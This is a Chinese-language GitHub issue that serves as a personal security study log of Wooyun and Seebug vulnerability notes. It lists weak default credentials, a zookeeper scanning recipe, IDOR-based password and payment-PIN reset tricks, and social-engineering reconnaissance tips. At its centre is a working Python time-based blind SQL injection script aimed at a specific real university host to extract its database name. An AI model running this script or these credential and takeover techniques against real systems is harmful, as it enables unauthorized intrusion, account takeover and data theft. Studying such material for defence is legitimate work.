Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wooyun_Seebug_Python_1 #29

Open
PyxYuYu opened this issue May 11, 2016 · 0 comments
Open

Wooyun_Seebug_Python_1 #29

PyxYuYu opened this issue May 11, 2016 · 0 comments

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented May 11, 2016

Young men's love then lies not truly in their hearts, but in their eyes.

0x01 Wooyun

  • JBoss 反序列化漏洞
    • GetShell
  • 弱口令
    • abc@xxx.com / 123@xxx
    • admin / 123456
    • admin / )P:?9ol.8ik,&UJM (字典爆破,键盘斜着排列)
    • test / test123
    • baozoumanhua@sina.com / qwer1234
    • weblogic / weblogic123
      * 没有验证码设计,可以爆破
  • CITRIX配置不当
    • Shift+F1 调出任务管理器,启用 cmd ,执行命令
  • zookeeper 未配置权限
    • 2181 端口未做访问限制导致公网可以任意访问,操作
      • ping 目标域名,得到 ip
    • nmap -p2181,2182 目标ip网段 -P0 扫描
    • Telnet 连接 2181 open
  • SQL 注入
    • sqlmap 使用 randomcase.py 绕过
    • 盲注-延时注入
      • waitfor delay
    • 注入脚本
# /usr/bin/env python
# coding=utf-8

import httplib
import time
import string
import sys
import random
import urllib

headers = {'User-Agent''Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}

payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)

for i in range(0,10):
    payloads.append(str(i))

payloads += ['@','_''.''-''\\'' ']

print 'Try to retrive DB:'

db = ''

for i in range(1,13):
    for payload in payloads:
        #time.sleep(1)  #间隔一秒
        try:
            conn = httplib.HTTPConnection('meetc.ecust.edu.cn'timeout=5)
            s = "if(ascii(substring(db_name(),%s,1))=%s) waitfor delay '0:0:5' --" % (iord(payload))
            params = "flag=11;" + urllib.quote(s)+"&info_lb=271"
            conn.request(method='GET'url= '/pictrue.aspx?' + params,headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
        except Exceptione:
            db += payload
            print '\n[In progress]'db
            break

print '\n[Done] DB is:'db
  • 任意用户名密码修改
    • 验证码时效问题,导致可以爆破
  • Java反序列化漏洞
    • GetShell
  • 账户体系控制不严
    • 利用身份证号即可修改密码
    • 添加子账号,修改时抓包,将ID换成他人ID,就可以读取他人信息
    • 重置密码时,抓包修改ID,就可以重置他人子账号
    • 忘记支付密码,抓包修改手机号为自己的,即可重置他人支付密码
  • Gitlab公开项目泄漏
    • 敏感内容泄漏内部使用接口
  • 越权导致信息泄漏
    • 分销平台,Burp爆破弱口令用户,登录后,越权遍历订单
  • WooyunWiKi
    • 企业外围信息收集
      • 在线协作平台
        • 有的公司是采用内部协作平台,但多数是使用成熟的在线协作平台,在进行人员收集后,对各在线平台进行尝试大数据登录
      • Tower
      • EasyPm
      • Worktile
      • Team
      • 云之家
      • 群联系
        • 利用群联系,进行对群主和管理员的社工和大数据,以及对比已收集公司信息
0x02 Seebug

  • PHP代码审计 -- SQL注入
    • $uid = $_GET('uid')
      • $sql="select pay_id from ".PUSER." where userid='$uid'";
    • uid参数未做任何过滤,直接被带入到SQL语句中进行查询,导致SQL注入漏洞的产生
    • trim函数只是过滤了空格,参数没做其他过滤的话,直接被带入到SQL语句中进行查询导致注入漏洞的产生
    • 如果注入位置在selectfrom之前,那么只能截断来注入,如果无法截断的话,查看WAF函数
      • WAF# --都做了过滤,如果对于本身就没被单引号保护的注入来说,想要像以前那样bypass,要把注入语句构造在2个单引号之间才能bypass
      • 查看全局文件下GETPOST的过滤引用的函数,查看是否可以绕过
0x03 Python

0x04 一天总结

  • 最近一直在写PoC,之后写点PoC的入门教程(基于Pocsuite
  • 知道创宇的Python题,这个坑近期也应该填上了
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant